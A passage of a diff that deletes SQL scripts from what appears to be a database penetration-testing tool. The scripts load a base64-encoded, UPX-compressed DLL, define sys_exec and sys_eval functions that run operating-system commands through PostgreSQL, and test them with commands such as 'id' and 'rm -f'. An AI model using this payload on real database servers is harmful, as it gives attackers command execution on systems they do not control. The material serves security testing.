-CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
-
-
--- Test the two functions
-SELECT sys_exec('echo test > /tmp/lib_postgresqludf_sys.txt'); -- -rw------- 1 postgres postgres
-SELECT sys_eval('cat /tmp/lib_postgresqludf_sys.txt ; id');
-
-
--- Cleanup the file system and the database
-SELECT sys_exec('rm -f /tmp/lib_postgresqludf_sys.*');
-DROP TABLE IF EXISTS udftest;
-DROP FUNCTION IF EXISTS sys_exec(text);
-DROP FUNCTION IF EXISTS sys_eval(text);
diff --git a/extra/postgresqludfsys/command_execution/windows.sql b/extra/postgresqludfsys/command_execution/windows.sql
deleted file mode 100644
index 5500864a5..000000000
--- a/extra/postgresqludfsys/command_execution/windows.sql
+++ /dev/null
@@ -1,104 +0,0 @@
--- Notes:
---
--- The DLL compiled using PostgreSQL 8.3 C libraries differs from the one
--- compiled using PostgreSQL 8.2 C libraries
---
--- DLL compiled using PostgreSQL 8.3 C libraries
--- lib_postgresqludf_sys.dll: 8192 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit)
--- lib_postgresqludf_sys.dll: 6144 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit, UPX compressed)
---
--- DLL compiled using PostgreSQL 8.2 C libraries
--- lib_postgresqludf_sys.dll: 8192 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit)
--- lib_postgresqludf_sys.dll: 6144 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit, UPX compressed)
---
--- Little hack to compress the dynamic-linked library:
--- * Read instructions on http://rpbouman.blogspot.com/2007/09/creating-mysql-udfs-with-microsoft.html
--- * Remember to compile it under Visual C++ 2008 with the
--- 'Configuration' set as 'Release'
--- * Use upx (http://upx.sourceforge.net) over the DLL:
--- * upx -9 library.dll -o library_upx.dll
-
-
--- Create a table with one field data-type text
-DROP TABLE IF EXISTS udftest;
-CREATE TABLE udftest(data text);
-
-
--- Insert the base64 encoded UDF in the table
-
--- DLL compiled using PostgreSQL 8.3 C libraries
-INSERT INTO udftest(data) VALUES ('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAD12MHTsbmvgLG5r4Cxua+AuME8gLO5r4C4wTqAsLmvgLjBLIC/ua+AuMErgLO5r4CWf9SAtLmvgLG5roCYua+AuMEmgLC5r4C4wT2AsLmvgLjBPoCwua+AUmljaLG5r4AAAAAAAAAAAFBFAABMAQMA+iGDSQAAAAAAAAAA4AACIQsBCQAAEAAAABAAAABgAAAgewAAAHAAAACAAAAAAAAQABAAAAACAAAFAAAAAAAAAAUAAAAAAAAAAJAAAAAQAAAAAAAAAgBAAQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAKyDAAC4AAAAtIIAAPgAAAAAgAAAtAIAAAAAAAAAAAAAAAAAAAAAAABkhAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7HwAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVVBYMAAAAAAAYAAAABAAAAAAAAAABAAAAAAAAAAAAAAAAAAAgAAA4FVQWDEAAAAAABAAAABwAAAADgAAAAQAAAAAAAAAAAAAAAAAAEAAAOAucnNyYwAAAAAQAAAAgAAAAAYAAAASAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
-UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMy4wMwBVUFghDQkCCcR4kqVtpBAFE1UAABYLAAAAIAAAJgAAnUB2Sf64AAAQ+MPMDxEM/9/+f1NVi2wkDItFEFZXUOgbAeaL2Iszwe4Cg+4Ef/ff/Y1OAVH/FT+MVo1TBIv4UlcgCpBXxgQ3APd/7GMXhFeL8AiUg8QcO10QdAlTQkDO/tvsDQRfi8ZeXVvDbxC6/7Z9gewIBBKhAiAAM8SJhCQEDYtvsvbZBgxAEI2GLXi8fcBudIs3jNVWg8eI2FdTbXfZjmoBiTPVaGIUU4q79tvYM/+MiCBTjVQkOBZTUon/9m3sXCQ8FnyVLIXAdMpEJBSNUAGKG2tv/whAhMl1+SvCLY0sO3YjeETdH/tuUx8gUAP+VxCAi0wkJFFNLO3lsCeL/UsgdbSLXP67sbMQqFMXkPmAPgB0BcZEN/+69gPbz8Zng8AEUKvQxj6Ze+ckGI2kJAAAH40EhRDH/oXtD4kHNlCNTwRWUe+LjLD5gmuZhF0Mi8dfM8zWXTj8KfKBxFFi/yWBqAX92z88pDsNYHUC88PpCAWvi/9WaIAXYmXMXORw7a5ZWd3/f5ejI1gEVIX2dQUzwEBew4MmAFYHtit83X1oBKcJZnKpBrkLe6O1NlkjIk407FFRCv8Ku385RQx1DjkFaxB+ZXMQg30Mu4XG3QGLCRBIiw3MiQojSC3stu4PhdR9ZBcYBot5wjW7dnfbICiJPVC7HlDrGEqnBHJw';
-UPDATE udftest SET data=data||'4cH+O8d0F2joA6gsagDp/9bwrtveaOfrB8csATyhL0xqAl797d7dyQlqH5IJJus8qhDABLjHBbOufe8fKBog4CcHXOP9+75vILQEsBsaWYk1KzR3f+52WTmydQhpczA5PRVcdBxW+tu9aAYoCFxDDf91IAPDF9veCCMW//FUbAHsjzU33AgBodt4BINl/ADfJBPZ2dsP1PxvbLD2g/gCZtJZW/+gvBm2sVhLUDFZLjUPhIfXHO07xxlUE00UGNjGt38QiX0Ig+8EO8hyUYM/f/NqmG3tt5wHdOn/NyYg+BBmbbbQXLn4VhVE1rjj9htHTfhVOU0QA9C7bVv7CHS0iQkCDBoIYOun9ogxO2kM5FlELoXtK8Q4WAZMMvw//g1HkFBDm1vJwgwAahBzf3sbQxIo0MT5i/KLXQgcVOFld3vkM8lc/Il9IAj8O/FaP7YWYzk6RBfkr2g728Kb//B0BYP+AnUuoew7wXSeVl/QzizccDte5AADkxFO9uB2WgJQFBaAEgkyzloN/yf+AXUkZCBOE1fXEJsVdy9S0gYRDftrtFP3agN1Q09hhz3bNAMhaHQuLCV/8bZw4esbceyLFwmq4FBRtMKl8mQsEGXo9i/brm04+tL+/wAZBYEq5KSuPX4hncOW7Bb/O3B8hdMkahvWVDO8u1V9RFUMDQR2WV04ItpQLhAnKANfISBzc/NmQwUciRUYiR0UiTU023dzEIk9DGaMGDgGDSyzNEuzHQgFBCWsfXdLAC1//JyPFDCVVvbPn20kBwQojUUINIuF4Pygrp2NsapwlQEcGWNs69ggJBMYCWXACRyzls/dNWCJhdgyCgTcKvCNYQMUNGidBqcz/rRsWWr3GHkt77D2fRyDPSAA+SNoW9NjBWIbegYkycOAkY8L30Aecl9qFEpQ9FhISRWq+KLG4fefnBBkWetnagg3hFmP7dYdkhsnNVk04PXzHW6FvwPkUH9LdIytbT9gCn4c3BQs1uK0VypbCeAb0jpnk+Ul2wdd3Gx4/u/c';
-UPDATE udftest SET data=data||'hFnZThYGwffYG8D32FlIXX/p221WuLwYvgRXUDvGcw+LB/QOGh1TAlDNO/5y8SnkOawwJSAg7RsxEz9lMQi4TVoql39X+mY5AXQEVGRBPAPBgThQRXXviRv8+zPSuQsBHEgYD5Tfwl1+35qGLT/ZSDHID7dBDbbbEjhWBXEGM1f4b43G0ggYDXbgnBwMO/nab/D/cgmLWAgD2Tv7cgpCvCg71nLoag+H7JnbTk9q/p9w8wUcm2i1ZA7+UIPsCN1wawwlMWIzxWzwZKMLn6H0GoksSAloS/CuMzEGbMwS61WXNMvDvi0TUBkIDAg7QbjwWxskwegf9wvgAYW77dQKA08ZAFmUi+Xr2E5qlpkByj2lwPqyFuwUmS+7MSNjJ7EzPAVARPlxSSNMpRKsEOw7uQ5jCWEQxab7CwOPWe9W+TbLNttSkGwDjSvg+lgDzZn88Tyq/Ipgk2Agcw3DlQ4O42yWUUoUdT50uxnaaQH2BCAUCopW7PdYGFij7BBofjQH/8j4U1e/TuZAu3pmU6HEHXgNhcMnNZBiUmvxBOtg+3hfC8VaW4F1mJILh/DmyiBjBzQInSf9re1oGPQzDBE793UHvk8IfBffWesLhfN1o8HgEAvwxCOUPvYA99YHBF5fW7Y/mCMjI2MFnFhcYAKyIyNoVAAAlAp5AAIFALPsPmqpwRQRIwNkaAZpugNAAXJI/36JMn1REhBLUlNEU/9///9ie5Q0/rQnQb7gu040vsrDF0M6XERvY3VtZW50/9v//3MgYW5kIFNldHRpbmdzXEFkbQdpc3RyYXRvci63t/b/VzJLM1NURU5VUERBBjNlc2sWcFzt/9/+c2hhcmVcdiZ1YWxfY3BwX3Byb2plY3Q+2/+2/GxpYl9wb2cfc3FsdWRmX3N5FVLDfoH9ZWxlYXNlHS5wZGLRfC8WyLUZlwfQYF0lmw/HhQdOyWHdUQNlJ8wHYXQn7MAP2B8I6wP/IAABSfBBqSDKIiIBZt8NsRm/RP8Ag1EGjKpgApIYBVBU';
-UPDATE udftest SET data=data||'gC0oFP8vzxR4EAFHZXRDdXJyZW50//+R/1Byb2Nlc3NJZFN5c3RlbVRpbWVBc0ZpbGWt/RZ7CRgIY2tDb3UvDYu1v/1RdWVyeVADZm9ybWFuPBYO/Vv3WxhEaXNhYjNoV2FkTGlicmFW/m+/J0NhbGxzb0lzRGVidWdnZXJt2/ayuXZUU1VuaEBkMWRhMffbRXhGcHRpb25zShmgbSlbuRJUF99kbQlEYR4RSZBsc9utbQxrQJ1tcIdlR1GEteaaf3dVUSLCbNmyG1zEFXd7moUzhTxfY2l0NG3fDVhtCl80X2Ftc2cIeO9+4a8RC2RqdUJfZmRpdg1fQ3BwQPvD2lhjv7xfZGVjbwNtYcISlGkyXW0e1t4ruHkYQosy9QlMFizYbk0TD2Xt9gkjDV8bcjRfTG1tHGbX/n0YbldkX251PURtYdzCxrZjHnI0bnPY3Qzb9h0IZvJ0LK5ybrnbO4yEc/zdKnBlVeYK7ZtFD2MHtDA6twnOve9WyM6Lb29D+9ZitiJWbl90eTkctlBoDRqJFYpfcnuahS0KbEaRpHBFuODePXBnQ3RvYXNLunVt///PAlYQMBgJHxYjKgsXJBEXEQeCBgb2////FwkHBRYMHggKCxYJGBgVBQYbBQwQBgcXBiEFEQ++/2//BhQhEQsIKyIFBw0RHQ0YUy1IOAYAB9u+XU4IDAkzCgkLDFsFFr/922UWDgs0FQsYFg09BUK4BRIeFGub/90GaTIRDA4dTQUXIw0MJAgkAFPB/x/wJgY0BGAE6AgEHBwEAFL5D6t/TAEFAPohg0k04AACIQsBCcDsN2kMWwCQFQsz971HGgkLAt4e36X5ZgcDYATbzx5Ae7bsvQEqAgcGcCYHs33LZriMIlAUQE+wNdubMgBQn3fQHGWxA1nVGCFCAJsfSLovsC50ZXh0mgoestlgkAy3QmAucgmD3BrLYfsoBwgTfa85bAJALib+A23KTtOUMAInwE/7XrDGc3KA67BzGk9ujkYAUqlPjAFvSgZpUB5C';
-UPDATE udftest SET data=data||'GwDgk9uMIxKhUlMAAAAAAAAAAACQ/wAAAAAAAAAAAACAfCQIAQ+FuQEAAGC+AHAAEI2+AKD//1eDzf/rDZCQkIoGRogHRwHbdQeLHoPu/BHbcu24AQAAAAHbdQeLHoPu/BHbEcAB23PvdQmLHoPu/BHbc+QxyYPoA3INweAIigZGg/D/dHSJxQHbdQeLHoPu/BHbEckB23UHix6D7vwR2xHJdSBBAdt1B4seg+78EdsRyQHbc+91CYseg+78Edtz5IPBAoH9APP//4PRAY0UL4P9/HYPigJCiAdHSXX36WP///+QiwKDwgSJB4PHBIPpBHfxAc/pTP///16J97ktAAAAigdHLOg8AXf3gD8AdfKLB4pfBGbB6AjBwBCGxCn4gOvoAfCJB4PHBYjY4tmNvgBQAACLBwnAdDyLXwSNhDC0cgAAAfNQg8cI/5YEcwAAlYoHRwjAdNyJ+VdI8q5V/5YIcwAACcB0B4kDg8ME6+FhMcDCDACDxwSNXvwxwIoHRwnAdCI873cRAcOLA4bEwcAQhsQB8IkD6+IkD8HgEGaLB4PHAuvii64McwAAjb4A8P//uwAQAABQVGoEU1f/1Y2HBwIAAIAgf4BgKH9YUFRQU1f/1VhhjUQkgGoAOcR1+oPsgOmnmP//AAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAEBAiABABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
-UPDATE udftest SET data=data||'AAAAAAAAAAAEAAAAAAABABgAAAAYAACAAAAAAAAAAAAEAAAAAAABAAIAAAAwAACAAAAAAAAAAAAEAAAAAAABAAkEAABIAAAAXIAAAFYCAADkBAAAAAAAAFhAAAA8YXNzZW1ibHkgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYxIiBtYW5pZmVzdFZlcnNpb249IjEuMCI+DQogIDx0cnVzdEluZm8geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4NCiAgICA8c2VjdXJpdHk+DQogICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSI+PC9yZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbD4NCiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICA8L3NlY3VyaXR5Pg0KICA8L3RydXN0SW5mbz4NCiAgPGRlcGVuZGVuY3k+DQogICAgPGRlcGVuZGVudEFzc2VtYmx5Pg0KICAgICAgPGFzc2VtYmx5SWRlbnRpdHkgdHlwZT0id2luMzIiIG5hbWU9Ik1pY3Jvc29mdC5WQzkwLkNSVCIgdmVyc2lvbj0iOS4wLjIxMDIyLjgiIHByb2Nlc3NvckFyY2hpdGVjdHVyZT0ieDg2IiBwdWJsaWNLZXlUb2tlbj0iMWZjOGIzYjlhMWUxOGUzYiI+PC9hc3NlbWJseUlkZW50aXR5Pg0KICAgIDwvZGVwZW5kZW50QXNzZW1ibHk+DQogIDwvZGVwZW5kZW5jeT4NCjwvYXNzZW1ibHk+UEEAAAAAAAAAAAAAAAAsgwAABIMAAAAAAAAAAAAAAAAAADmDAAAcgwAAAAAAAAAAAAAAAAAARYMAACSDAAAAAAAAAAAAAAAAAAAAAAAA';
-UPDATE udftest SET data=data||'AAAAAFKDAABggwAAcIMAAICDAACOgwAAAAAAAJyDAAAAAAAAooMAAAAAAABLRVJORUwzMi5ETEwATVNWQ1I5MC5kbGwAcG9zdGdyZXMuZXhlAAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAAVmlydHVhbFByb3RlY3QAAFZpcnR1YWxBbGxvYwAAVmlydHVhbEZyZWUAAABmcmVlAABwZnJlZQAAAAAAAAD5IYNJAAAAAAaEAAABAAAABQAAAAUAAADUgwAA6IMAAPyDAAAAEAAAgBAAABAQAACQEAAAIBAAACCEAAAuhAAAQIQAAFKEAABbhAAAAAABAAIAAwAEAGxpYl9wb3N0Z3Jlc3FsdWRmX3N5cy5kbGwAUGdfbWFnaWNfZnVuYwBwZ19maW5mb19zeXNfZXZhbABwZ19maW5mb19zeXNfZXhlYwBzeXNfZXZhbABzeXNfZXhlYwAAcAAAEAAAAC07KD0sPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
-
--- DLL compiled using PostgreSQL 8.2 C libraries
--- INSERT INTO udftest(data) VALUES ('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAD12MHTsbmvgLG5r4Cxua+AuME8gLO5r4C4wTqAsLmvgLjBLIC/ua+AuMErgLO5r4CWf9SAtLmvgLG5roCYua+AuMEmgLC5r4C4wT2AsLmvgLjBPoCwua+AUmljaLG5r4AAAAAAAAAAAFBFAABMAQMAUx6DSQAAAAAAAAAA4AACIQsBCQAAEAAAABAAAABgAAAgewAAAHAAAACAAAAAAAAQABAAAAACAAAFAAAAAAAAAAUAAAAAAAAAAJAAAAAQAAAAAAAAAgBAAQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAKyDAAC4AAAAtIIAAPgAAAAAgAAAtAIAAAAAAAAAAAAAAAAAAAAAAABkhAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7HwAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVVBYMAAAAAAAYAAAABAAAAAAAAAABAAAAAAAAAAAAAAAAAAAgAAA4FVQWDEAAAAAABAAAABwAAAADgAAAAQAAAAAAAAAAAAAAAAAAEAAAOAucnNyYwAAAAAQAAAAgAAAAAYAAAASAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
--- UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMy4wMwBVUFghDQkCCXeP6gEDsfuvE1UAABwLAAAAIAAAJgAAXkB2Sf64AAAQ+MPMDxEM+9/+f1NVi2wkDItFEFZXUOgbAgKL2Iszgeb/AN1/938/g+4EjU4BUf8VQoxWjVMEi/hSVyMK/7GP/bBXxgQ3ABeEV4vwCJSDxBw7XRB0W/Zv3wlTRQgNBF+Lxl5dW2p/bfllLxDDEoHsCAShAu2zdf8gADPEiYQkBA2LBgxAEJ2F3d5kli2FgYs3nLIdefvVVoPHmNhXU2oBmTO3sdvu1WhlFFOaM/+ciCBTjdvYd+1UJDgWVlKJXCQ8FnylLLf///+FwHRbjUQkFI1QAesDjUkAighAhMl1+SvCMo0sfbeNtTt+KHhJUyQgUAP+V9iT7o8QgItMJCRRUiyL/VDY2fZyIHWvi2EQsFMXXzh8w5AOgD4AdAQ3FsZEN/+u/bK7AHCNZCRvg8AEULjggbnyucYsHKQAH/Ync+2JBxwZElCNRwRWUPjNF1w7i4ydiHYMi8dfM+7C4YfMNQ6BxF1u/yWF3/7hsagFpDsNbHUC88PpCAXLi/8QK2PuVmiAaOhw8f7/u7zHWVmjI1gEVIX2dQUzwEBew4MmAF3h6+5WB5loBMMJgnulBhuttbHVC1kjIk5Q7FfY/dtRUQo5RQx1DjkFaxB+bnMtNO7+EIN9DAGLCRBIiybYiWG3dd8KI0gPhdR9ZBcYBot5y7W72241ICiJ';
--- UPDATE udftest SET data=data||'PVC7HlDrGEoLD/bfpwSOO8d0F2joA6gsagDy/3fd9obWbOfrB8csATyhL0xqAm/37oZe0glqH5IJRus8qhDABHXte++4xwUfKBpA4CcH79/3nVyLILQEsBs6WYk1K/tztxs9WTmydQhpczA5PRXS3+69XHQcaAYoCHxDDf91PL7Y9rYDCCMW//FUiH+suRkB3AgBodt4BINl/ACZyM5m39sP1Pxjg7Ung/gCZtJZW//NsI19oFhLUDFZLjXmaN/hD4SHxxlUE0kU8e2luxgQiX2N7wQ7yHJRgz/b2j+2g/NqbDkHdOn/NyYg+BDabKExXLn4VhVxx+3NRBtHTfhVOU0Q27b2rQPQCHS0iQkCDBoIYGN20nbrp/YM/VlELttXiBE4WAZMMvwbjiALP1BDm1u/9Db8ycIMAGoQQxIo0Fv5i/KLXbK7vbkIHFTkM8lc/Il9IAhbi7Hw/DvxWjk6RBfk4c3/H6+EO/B0BYP+AnUuoew7wXSeFm64bVZf0Dte5AADkz24D2cR/mwUFoBWw7+TEglSJ/4BdSRkIFrEZoWzE1d3L1L+Gu010gYRU/dqA3VDYc92w080AyFodC4sLVx42CV/6xtx7IsXCXCpfLyq4FBRZEwQZei5Gg6t9i/60v67tcdv2xkFnSrkIb3DluyvcJrUFv87JGobd7cKjvZUfUhVDA0EklnKBWKGXTgiMygDbt5MG18hIEMFHIkVGIkd+25ubhSJNRCJPQxmjBg4BmZplmYNLB0IBe9uaZYEJQAtf/ycjxT5s421MJVWJAcEKI1FCLMx1v40i4Xg/KCqcJUBbR3btRwZICQTGAllwLm7ZowJHLNgiYXYMr4xzPIKBNwDFDRodMZfBaa0jFlq9xjWvs/geUYcgz0gAPkjrEDsHWhbG34G8cJ7eiTJw4BAHhTDahQLKSnySlAVqvj8/pMeopwQZFnrZ2oIN6RZQ3LDOI/tJzXDrdC6WTTg9b8D5FB/bSNgvkt0Zp4c3CpbjK0ULNbiCeDlJbRXG9I6';
--- UPDATE udftest SET data=data||'2wd53IRnk9xsmFnZTttt/u8WBt332BvA99hZSF1WuLwYvgQaHX/pV1A7xnMPiwdTAlA5rPQO1jv+cvEwJSALEinkIE9pDd6+ETUIuE1aLmY5AXP/8u9KWGhBPAPBgThQRXXvM9K5CwEbdoN/HEgYD5Tnwl07PyW+NS3dSDHID7dBRaVLbLdWBXEGM1cACBgR/98ajXbkoBwMO/lyCYtYCAPZO/sztd/gcgpCnCg71nLoat9ONh8O2U9q/qNwaNVkGOYbOBICUIPsCCnpu+HWMWYzxXDwZKMaiTAMFj5DTAloT/BwfV1nYuwS71WXLRNQt2iWhxkILAg7KyTBFYJw4egf9w/gAYkD1HbbqU8dAFmUi+WWKdaxnZ0Byj2pwPqdYmUt2C+7MUZGxk43PAVAREzG8uOSqRKwEOwJZbN2ch0Qyar776UWBh5a/T6UM5dttmwDjSvg+vzxQLAGmjyu/IrZwCbBdw3DlZYzHBzGUU4Ued6xfOh2aQISBCAUCqoYka3Y71yj7BBogvg7aA7+U1e/TuZAu35mfA2F6KdCicMrNZQE62C2xKRW43hjEXWYxhaKtZILl/AHNNHMlUEInSe++1vbOPQzDBE793UHvk9Z6wuF83XsEfgup8HgEAvwyAD31gfGRih9BF5fW7o/mAWcRkZGRlhcYGgAAGRHVAAA1CgV8gIhAI10Z9l9pRQRIgNkA0Bl0AzSAXJIXf///RJREhBLUlNEUwG3/T9I581Otf//N//blFHkL74MDGM6XERvY3VtZW50cyBhbmQgU2X//9v/dHRpbmdzXEFkbQdpc3RyYXRvci5XMkszU1RFTv63t/ZVUERBBjNlc2sWcFxzaGFyZVx2/O3/3yZ1YWxfY3BwX3Byb2plY3Q+bGliX3Bv/f//tmcfc3FsdWRmX3N5c184MlxSZWxlYXNlIMd+gSAucGRi0dUZbPK9WHcH0A91g3WVq6EHbQOBAzslhyfMB30PJNGdsNgfCQsDH9AogwAAAn0DpaLtsRm/RP+q';
--- UPDATE udftest SET data=data||'iiSCAIAAAGAw/woqwEIU//+XZ3gQAUdldEN1cnJlbnRQcm9jZXNzvf//yElkU3lzdGVtVGltZUFzRmlsZQn+1n6LGAhja0NvdS8NUXVlcnlQrcXa3wNmb3JtYW48Fg4Y3/6t+0Rpc2FiM2hXYWRMaWJyYSdDYWxsXCv/t3NvSXNEZWJ1Z2dlcm127W172VRTVW5oQGQxZEV4Rq2wmPtwdGlvbnNKGQTQtpS5ElQXtm+ytkRhHhFJkGwMa8257dZAnW1wh2VHUX9Zwlpzd1VRIhtCYbZsXMQVM6y7Pc2FPF9jaXQ0bQrXtu8GXzRfYW1zZwh4EQvtd7/wZGp1Ql9mZGl2DV9DcHBYY78JoP1hvF9kZWNvA5HctjBhaTJdbR55GGxr7xVCizL1CW5NESYLFhMPZQ2+dvuEXxtyNF9MbW0cGG5bs2v/V2RfbnU9RG1hYx5ye25hYzRuc9gdCMZuhm1m8nQsrnJuhHPN3O0d/N0qcGVVRV5zhfYPYwe0MDrvsdsE51bIzotvb7aGoX1rIlZuX3R5ORwaFlsotIkVil9yCp49zcJsRpGkcEVwZwFccO9DdG9hc0u6dW3///9nVhAzGAksFiMtCxcpERcRB4YGBhcJBwUWDB5/+///CAoLFgkYGBUFBhsFDBAGBxcGIQURDwYUIRELCCff/7crIgUHDREdDRhTLUg4BgAHCLJt3y4MCTMKCQsMWwUWFu7f/u0OCzQVCxgWDT0FQrwFEh4UBmky2d7N/xEMDh1NBRcjDQwkCAtEAvBvKvh/NARgBOgIBBwcBAAyTAEFAC3/YfVTHoNJNOAAAiELAQkMCJj9JlsArBULbOa+9xoJCwLeHgf3uzTfA2AEc4IeQAEqbM+WvQIHBnAmB7hmtm/ZjCJQFEBPsACrZntTUJ930BzVtyx2IBghQgAvbPMDSbAudGV4dLoKkMNDNhsMt0JgLnLLLWGQW2H7KAcIE7rvNYcCQC4m/gOUMLhN2WkCJ8BPc3Jg3wvWgOuwcxpPzc3RCFKp';
--- UPDATE udftest SET data=data||'T4wBUPtNySAeQhuMIxIAAHxyoVJTAAASAAAA/wAAAACAfCQIAQ+FuQEAAGC+AHAAEI2+AKD//1eDzf/rDZCQkIoGRogHRwHbdQeLHoPu/BHbcu24AQAAAAHbdQeLHoPu/BHbEcAB23PvdQmLHoPu/BHbc+QxyYPoA3INweAIigZGg/D/dHSJxQHbdQeLHoPu/BHbEckB23UHix6D7vwR2xHJdSBBAdt1B4seg+78EdsRyQHbc+91CYseg+78Edtz5IPBAoH9APP//4PRAY0UL4P9/HYPigJCiAdHSXX36WP///+QiwKDwgSJB4PHBIPpBHfxAc/pTP///16J97ktAAAAigdHLOg8AXf3gD8AdfKLB4pfBGbB6AjBwBCGxCn4gOvoAfCJB4PHBYjY4tmNvgBQAACLBwnAdDyLXwSNhDC0cgAAAfNQg8cI/5YEcwAAlYoHRwjAdNyJ+VdI8q5V/5YIcwAACcB0B4kDg8ME6+FhMcDCDACDxwSNXvwxwIoHRwnAdCI873cRAcOLA4bEwcAQhsQB8IkD6+IkD8HgEGaLB4PHAuvii64McwAAjb4A8P//uwAQAABQVGoEU1f/1Y2HBwIAAIAgf4BgKH9YUFRQU1f/1VhhjUQkgGoAOcR1+oPsgOnDmP//AAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAEBAiABABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA